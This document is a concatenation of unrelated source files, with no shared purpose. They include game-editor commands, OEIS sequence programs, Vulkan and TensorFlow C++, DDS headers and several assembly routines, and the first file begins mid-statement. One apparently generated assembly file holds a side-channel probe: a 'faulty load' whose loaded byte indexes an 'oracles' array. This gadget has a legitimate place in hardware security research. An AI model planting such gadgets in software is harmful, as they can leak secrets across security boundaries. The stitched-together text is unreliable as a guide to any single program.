navigation networks and updates brush models.)", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(CopyActorsToClipboard, "Copy selected Actors to clipboard", "Copy selected Actors into an Array (in clipboard) so that you can paste it in the property editor", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(SaveAllItems, "Save All Items", "Saves all Items to the disk", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(SaveAllEffectInstances, "Save All Effect Instances", "Saves all effect instances to the disk", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(SaveAllCharacterStrikes, "Save All Character Strikes", "Saves all Character Strikes to the disk", EUserInterfaceActionType::Button, FInputChord()); } #undef LOCTEXT_NAMESPACE
; =============================================================== ; May 2017 ; =============================================================== ; ; void *tshr_saddrpright(void *saddr, uchar bitmask) ; ; Modify screen address and bitmask to move right one pixel. ; Indicate error if pixel is at the rightmost edge. ; ; =============================================================== SECTION code_clib SECTION code_arch PUBLIC asm_tshr_saddrpright asm_tshr_saddrpright: ; enter : hl = screen address ; e = bitmask ; ; exit : hl = screen address moved right one pixel ; e = bitmask moved right one pixel ; carry set if pixel was at rightmost edge ; ; uses : af, e, hl rrc e ret nc bit 5,h set 5,h ret z res 5,h inc l ld a,l and $1f ret nz dec l ld e,$01 set 5,h scf ret
; A212069: Number of (w,x,y,z) with all terms in {1,...,n} and 3*w = x+y+z. ; 0,1,2,9,22,41,72,115,170,243,334,443,576,733,914,1125,1366,1637,1944,2287,2666,3087,3550,4055,4608,5209,5858,6561,7318,8129,9000,9931,10922,11979,13102,14291,15552,16885,18290,19773,21334,22973 pow $0,3 mul $0,2 mov $1,$0 seq $0,154958 ; Antidiagonal sums of number triangle A154957 regarded as a lower triangular infinite matrix. mul $1,$0 mul $0,2 div $1,$0 sub $0,$1 sub $0,2
#include <bp/Framebuffer.h> #include <bp/RenderPass.h> #include <bp/Swapchain.h> #include <bp/Texture.h> #include <stdexcept> using namespace std; namespace bp { Framebuffer::~Framebuffer() { if (isReady()) destroy(); } void Framebuffer::setAttachment(const AttachmentSlot& slot, Attachment& attachment) { Swapchain* swapchain = dynamic_cast<Swapchain*>(&attachment); if (swapchain != nullptr) { if (Framebuffer::swapchain != nullptr) throw invalid_argument{"Only one swapchain attachment can be used " "per framebuffer."}; Framebuffer::swapchain = swapchain; } attachments[&slot] = &attachment; } void Framebuffer::init(RenderPass& renderPass, uint32_t width, uint32_t height) { if (isReady()) throw runtime_error("Framebuffer already initialized."); Framebuffer::renderPass = &renderPass; Framebuffer::width = width; Framebuffer::height = height; try { create(); } catch (exception& e) { Framebuffer::renderPass = nullptr; throw e; } } void Framebuffer::resize(uint32_t width, uint32_t height) { Framebuffer::width = width; Framebuffer::height = height; destroy(); create(); } void Framebuffer::before(VkCommandBuffer cmdBuffer) { for (auto& a : attachments) a.second->before(cmdBuffer); } void Framebuffer::after(VkCommandBuffer cmdBuffer) { for (auto& a : attachments) a.second->after(cmdBuffer); } vector<VkClearValue> Framebuffer::getClearValues() { vector<VkClearValue> clearValues; for (uint32_t i = 0; i < renderPass->getAttachmentCount(); i++) { const AttachmentSlot* slot = &renderPass->getAttachmentSlot(i); if (slot->getDescription().loadOp == VK_ATTACHMENT_LOAD_OP_CLEAR) { clearValues.push_back( attachments[&renderPass->getAttachmentSlot(i)]->getClearValue()); } } return clearValues; } VkFramebuffer Framebuffer::getHandle() const { if (swapchain != nullptr) return handles[swapchain->getCurrentFramebufferIndex()]; return handles[0]; } void Framebuffer::create() { vector<VkImageView> attachmentViews; int swapchainIndex = -1; for (uint32_t i = 0; i < renderPass->getAttachmentCount(); i++) { Attachment* attachment = nullptr; try { attachment = attachments[&renderPass->getAttachmentSlot(i)]; } catch (...) { throw runtime_error("Missing attachments during framebuffer creation."); } if (swapchain != nullptr && attachment == static_cast<Attachment*>(swapchain)) { swapchainIndex = i; attachmentViews.push_back(VK_NULL_HANDLE); continue; } auto texture = dynamic_cast<Texture*>(attachment); if (texture == nullptr) throw runtime_error("Unsupported attachment implementation."); attachmentViews.push_back(texture->getImageView()); } VkFramebufferCreateInfo info = {}; info.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; info.renderPass = *renderPass; info.attachmentCount = static_cast<uint32_t>(attachmentViews.size()); info.pAttachments = attachmentViews.data(); info.width = width; info.height = height; info.layers = 1; auto framebufferCount = swapchain != nullptr ? swapchain->getFramebufferImageCount() : 1; handles.resize(framebufferCount); for (auto i = 0; i < framebufferCount; i++) { if (swapchain != nullptr) { attachmentViews[swapchainIndex] = swapchain->getFramebufferImageView(static_cast<uint32_t>(i)); } VkResult result = vkCreateFramebuffer(renderPass->getDevice(), &info, nullptr, handles.data() + i); if (result != VK_SUCCESS) throw runtime_error("Failed to create framebuffer."); } } void Framebuffer::destroy() { for (auto fb : handles) vkDestroyFramebuffer(renderPass->getDevice(), fb, nullptr); } }
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/common_runtime/kernel_benchmark_testlib.h" #include "tensorflow/core/framework/tensor.h" #include "tensorflow/core/kernels/ops_util.h" #include "tensorflow/core/platform/test.h" #include "tensorflow/core/platform/test_benchmark.h" #include "tensorflow/core/public/session_options.h" namespace tensorflow { // We focus on the single thread performance of training ops. static SessionOptions InitSingleThreadedOptions() { SessionOptions opts; opts.config.set_intra_op_parallelism_threads(1); opts.config.set_inter_op_parallelism_threads(1); return opts; } static SessionOptions* GetOptions() { static SessionOptions opts = InitSingleThreadedOptions(); return &opts; } static Node* Var(Graph* g, int n) { return test::graph::Var(g, DT_FLOAT, TensorShape({n})); } static Node* Zeros(Graph* g, int n) { Tensor data(DT_FLOAT, TensorShape({n})); data.flat<float>().setZero(); return test::graph::Constant(g, data); } static Node* Random(Graph* g, int n) { Tensor data(DT_FLOAT, TensorShape({n})); data.flat<float>().setRandom(); return test::graph::Constant(g, data); } static Node* Scalar(Graph* g, float val) { Tensor data(DT_FLOAT, TensorShape({})); data.flat<float>()(0) = val; return test::graph::Constant(g, data); } static void SGD(int32 n, Graph** init_g, Graph** train_g) { { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); test::graph::Assign(g, var, Zeros(g, n)); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto lr = Scalar(g, 0.01); auto grad = Random(g, n); test::graph::Multi(g, "ApplyGradientDescent", {var, lr, grad}); *train_g = g; } } static void BM_SGD(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; SGD(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_SGD)->Arg(128 << 10)->Arg(256 << 10); static void Adagrad(int32 n, Graph** init_g, Graph** train_g) { { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto accum = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, accum, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto accum = Var(g, n); auto lr = Scalar(g, 0.01); auto grad = Random(g, n); test::graph::Multi(g, "ApplyAdagrad", {var, accum, lr, grad}); *train_g = g; } } static void BM_Adagrad(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; Adagrad(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_Adagrad)->Arg(128 << 10)->Arg(256 << 10); static void Momentum(int32 n, Graph** init_g, Graph** train_g) { TensorShape shape({n}); { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto accum = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, accum, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto accum = Var(g, n); auto lr = Scalar(g, 0.01); auto grad = Random(g, n); auto mom = Scalar(g, 0.01); test::graph::Multi(g, "ApplyMomentum", {var, accum, lr, grad, mom}); *train_g = g; } } static void BM_Momentum(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; Momentum(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_Momentum)->Arg(128 << 10)->Arg(256 << 10); static void Adam(int32 n, Graph** init_g, Graph** train_g) { TensorShape shape({n}); { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto v = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, m, zero); test::graph::Assign(g, v, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto v = Var(g, n); auto beta1_power = Scalar(g, 0.9); auto beta2_power = Scalar(g, 0.99); auto lr = Scalar(g, 0.01); auto beta1 = Scalar(g, 0.9); auto beta2 = Scalar(g, 0.99); auto epsilon = Scalar(g, 1e-8); auto grad = Random(g, n); test::graph::Multi(g, "ApplyAdam", {var, m, v, beta1_power, beta2_power, lr, beta1, beta2, epsilon, grad}); *train_g = g; } } static void BM_Adam(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; Adam(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_Adam)->Arg(128 << 10)->Arg(256 << 10); static void RMSProp(int32 n, Graph** init_g, Graph** train_g) { TensorShape shape({n}); { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto ms = Var(g, n); auto mom = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, ms, zero); test::graph::Assign(g, mom, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto ms = Var(g, n); auto mom = Var(g, n); auto lr = Scalar(g, 0.01); auto rho = Scalar(g, 0.9); auto momentum = Scalar(g, 0.9); auto epsilon = Scalar(g, 1e-8); auto grad = Random(g, n); test::graph::Multi(g, "ApplyRMSProp", {var, ms, mom, lr, rho, momentum, epsilon, grad}); *train_g = g; } } static void BM_RMSProp(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; RMSProp(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_RMSProp)->Arg(128 << 10)->Arg(256 << 10); static void AddSign(int32 n, Graph** init_g, Graph** train_g) { TensorShape shape({n}); { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, m, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto lr = Scalar(g, 0.01); auto alpha = Scalar(g, 0.1); auto sign_decay = Scalar(g, 0.9); auto beta = Scalar(g, 0.8); auto grad = Random(g, n); test::graph::Multi(g, "ApplyAddSign", {var, m, lr, alpha, sign_decay, beta, grad}); *train_g = g; } } static void BM_AddSign(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; AddSign(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_AddSign)->Arg(128 << 10)->Arg(256 << 10); static void PowerSign(int32 n, Graph** init_g, Graph** train_g) { TensorShape shape({n}); { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto zero = Zeros(g, n); test::graph::Assign(g, var, zero); test::graph::Assign(g, m, zero); *init_g = g; } { Graph* g = new Graph(OpRegistry::Global()); auto var = Var(g, n); auto m = Var(g, n); auto lr = Scalar(g, 0.01); auto logbase = Scalar(g, 2); auto sign_decay = Scalar(g, 0.9); auto beta = Scalar(g, 0.8); auto grad = Random(g, n); test::graph::Multi(g, "ApplyPowerSign", {var, m, lr, logbase, sign_decay, beta, grad}); *train_g = g; } } static void BM_PowerSign(int iters, int params) { const int64 tot = static_cast<int64>(iters) * params; testing::ItemsProcessed(tot); testing::BytesProcessed(tot * sizeof(float)); Graph* init; Graph* train; PowerSign(params, &init, &train); test::Benchmark("cpu", train, GetOptions(), init).Run(iters); } BENCHMARK(BM_PowerSign)->Arg(128 << 10)->Arg(256 << 10); } // end namespace tensorflow
/* * Copyright 2010, Object Management Group, Inc. * Copyright 2010, PrismTech, Corp. * Copyright 2010, Real-Time Innovations, Inc. * Copyright 2019, Proyectos y Sistemas de Mantenimiento SL (eProsima). * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef OMG_DDS_CORE_WEAK_REFERENCE_HPP_ #define OMG_DDS_CORE_WEAK_REFERENCE_HPP_ #include <dds/core/Reference.hpp> namespace dds { namespace core { /** * @brief * The WeakReference class enables you to maintain a weak * reference to a DDS reference type. * * The existence of a weak link will not prevent the garbage * collection of the reference type. */ template<typename T> class WeakReference { public: typedef T ReferenceType; public: /** * Creates a weak reference without an referenced dds object. */ WeakReference(); /** * Creates a weak reference for the reference type passed as argument. * * @tparam t dds object the new weak reference will refer to */ WeakReference( const T& t); /** @cond */ ~WeakReference(); /** @endcond */ /** * Checks whether the underlying reference has been deleted. * * @returns true if the underlying reference has expired, false otherwise */ bool expired(); /** * Gives access to the underlying shared reference. * * If the reference has expired the returned object will be referencing 'dds::core::null'. * * @return referenced dds object */ T lock(); private: typename T::DELEGATE_WEAK_REF_T impl_; }; } //namespace core } //namespace dds #endif //OMG_DDS_CORE_WEAK_REFERENCE_HPP_
; A134763: A000718^(-2) * A134762. ; Submitted by Jamie Morken(s1) ; 1,2,4,2,16,2,58,2,208,2,754,2,2770,2 mov $1,$0 div $0,2 sub $2,$1 bin $1,$0 mod $2,2 gcd $1,$2 mul $1,3 sub $1,$2 mov $0,$1 sub $0,2
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteDr6.Asm ; ; Abstract: ; ; AsmWriteDr6 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmWriteDr6 ( ; IN UINTN Value ; ); ;------------------------------------------------------------------------------ AsmWriteDr6 PROC mov dr6, rcx mov rax, rcx ret AsmWriteDr6 ENDP END
; A289399: Total path length of the complete ternary tree of height n. ; 0,3,21,102,426,1641,6015,21324,73812,250959,841449,2790066,9167358,29893557,96855123,312088728,1000836264,3196219035,10169787837,32252755710,101988443730,321655860993,1012039172391,3177332285412,9955641160956,31137856397031,97226367933585,303117500028234,943667688767142,2933948632348749,9110682595188219,28258557879990576,87555203923249488,271004202619581747,838028380408245093,2589132458873234838,7992539329565203194,24653043847532105625,75985409119105805007,234035060086845879420 lpb $0 add $1,$0 sub $0,1 mul $1,3 lpe mov $0,$1
; ; file: asm_main.asm %include "asm_io.inc" %define ARRAY_SIZE 5 ; ; initialized data is put in the .data segment ; segment .data array1: db 1,2,3,4,5 ; uninitialized data is put in the .bss segment ; segment .bss ; ; code is put in the .text segment ; segment .text global asm_main asm_main: enter 0,0 ; setup routine pusha ; *********** Start Assignment Code ******************* xor eax, eax mov ebx, array1 mov ecx, ARRAY_SIZE loop1: mov al,[ebx] call print_int inc ebx call print_nl loop loop1 ; *********** End Assignment Code ********************** popa mov eax, 0 ; return back to the C program leave ret
; A264749: a(n) = floor(n/BL(n)) where BL(n) = A070939(n) is the binary length of n. ; 0,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,6,6,5,5,5,5,6,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,8,9,9,9,9,9,9,10,10,10,10,9,9,9,9,9,9,10,10,10,10,10,10,10,11,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,13,14,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,18,18,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,29,30,30,30,30,30,30,30,30,31,31 add $0,1 mul $0,2 sub $0,2 lpb $0 mov $1,$0 add $0,1 mov $2,1 trn $2,$1 add $0,$2 log $0,2 mul $0,2 add $1,3 add $3,1 mul $3,2 sub $1,$3 mov $4,$0 trn $0,21 div $1,$4 lpe
; A187077: Number of row-convex polyplets with n cells. ; Submitted by Jon Maiga ; 1,4,18,83,385,1788,8305,38575,179170,832189,3865253,17952864,83385309,387298083,1798875698,8355202169,38807241321,180247221864,837190686169,3888482927823,18060759310562,83886449530197,389625723579965 add $0,1 mov $1,3 lpb $0 sub $0,1 add $1,$4 add $4,$3 sub $4,$2 add $2,$1 mul $1,2 sub $3,$2 sub $2,$1 add $4,2 add $4,$1 sub $4,2 lpe mov $0,$1 div $0,6
# /* # ******************************************************************* # * Kernel 1 -- hydro fragment # ******************************************************************* # * DO 1 L = 1,Loop # * DO 1 k = 1,n # * 1 X(k)= Q + Y(k)*(R*ZX(k+10) + T*ZX(k+11)) # */ # for ( l=1 ; l<=loop ; l++ ) { # for ( k=0 ; k<n ; k++ ) { # x[k] = q + y[k]*( r*z[k+10] + t*z[k+11] ); # } # } # argument = 1; # TEST( &argument ); mov r0,#10 loop1: sub r0,r0,#1 mov r1,#10 mov r5,#0 loop2: sub r1,r1,#1 mov r9,$z mul r8,r5,#4 add r9,r9,#40 add r8,r8,r9 # r*z[k+10] load r4,r8 mul r3,r4,#3 # t*z[k+11] add r10,r8,#4 sub r8,r8,#44 load r7,r10 sub r8,r8,$z mul r6,r7,#4 add r8,r8,$y # y[k]*(...) load r4,r8 sub r8,r8,$y add r3,r3,r6 add r8,r8,$x add r2,r3,#10 store r2,r8 add r5,r5,#1 br r1,$loop2 br r0,$loop1 z: d.int 17 d.int 55 d.int 0 d.int 56 d.int 97 d.int 56 d.int 87 d.int 29 d.int 57 d.int 22 d.int 57 d.int 25 d.int 70 d.int 72 d.int 14 d.int 8 d.int 41 d.int 12 d.int 67 d.int 26 d.int 39 d.int 33 d.int 40 d.int 48 d.int 33 d.int 1 d.int 31 d.int 45 d.int 60 d.int 81 d.int 82 d.int 9 d.int 35 d.int 25 d.int 82 d.int 32 d.int 55 d.int 95 d.int 10 d.int 0 d.int 74 d.int 29 d.int 10 d.int 24 d.int 58 d.int 82 d.int 99 d.int 37 d.int 37 d.int 73 y: d.int 37 d.int 52 d.int 80 d.int 93 d.int 75 d.int 82 d.int 13 d.int 16 d.int 40 d.int 73 d.int 38 d.int 11 d.int 4 d.int 50 d.int 37 d.int 80 d.int 90 d.int 0 d.int 20 d.int 9 d.int 98 d.int 50 d.int 90 d.int 5 d.int 14 d.int 42 d.int 39 d.int 27 d.int 37 d.int 74 d.int 15 d.int 70 d.int 71 d.int 14 d.int 80 d.int 7 d.int 72 d.int 15 d.int 85 d.int 46 d.int 4 d.int 5 d.int 22 d.int 79 d.int 93 d.int 23 d.int 43 d.int 49 d.int 84 d.int 68 x:
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x17a83, %r10 nop dec %r15 mov $0x6162636465666768, %r9 movq %r9, (%r10) nop dec %r13 lea addresses_D_ht+0xc483, %rcx nop nop nop nop add %rdx, %rdx movw $0x6162, (%rcx) nop sub $42451, %rax lea addresses_normal_ht+0x16283, %r9 xor $64629, %r10 mov (%r9), %r15w nop nop sub $17964, %r15 lea addresses_A_ht+0x15fe3, %rsi lea addresses_A_ht+0x5183, %rdi sub %r13, %r13 mov $120, %rcx rep movsq nop inc %rcx lea addresses_D_ht+0xca83, %r10 nop nop nop add %r9, %r9 movl $0x61626364, (%r10) nop nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0xe9bb, %rsi lea addresses_UC_ht+0x19989, %rdi nop nop xor $54807, %r15 mov $65, %rcx rep movsq nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0xf72d, %rsi lea addresses_D_ht+0x1d683, %rdi sub $21379, %r15 mov $47, %rcx rep movsb nop cmp %rsi, %rsi lea addresses_A_ht+0x151e7, %rdx nop nop nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %r10 movq %r10, (%rdx) nop nop nop nop xor %rdi, %rdi lea addresses_UC_ht+0x1c7e3, %rsi lea addresses_D_ht+0x18f9e, %rdi clflush (%rdi) nop nop nop dec %r10 mov $116, %rcx rep movsl nop nop nop nop sub %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rcx push %rdi // Store lea addresses_WT+0x1992b, %rcx nop nop nop nop nop dec %r13 mov $0x5152535455565758, %r12 movq %r12, %xmm0 vmovups %ymm0, (%rcx) nop xor $61309, %rcx // Faulty Load lea addresses_PSE+0x12483, %r9 nop nop nop and $2919, %r8 mov (%r9), %r13w lea oracles, %r9 and $0xff, %r13 shlq $12, %r13 mov (%r9,%r13,1), %r13 pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
;; @file ; IPRT - ASMSetFlags(). ; ; ; Copyright (C) 2006-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; @param rcx eflags BEGINPROC_EXPORTED ASMSetFlags push rcx popfq ret ENDPROC ASMSetFlags
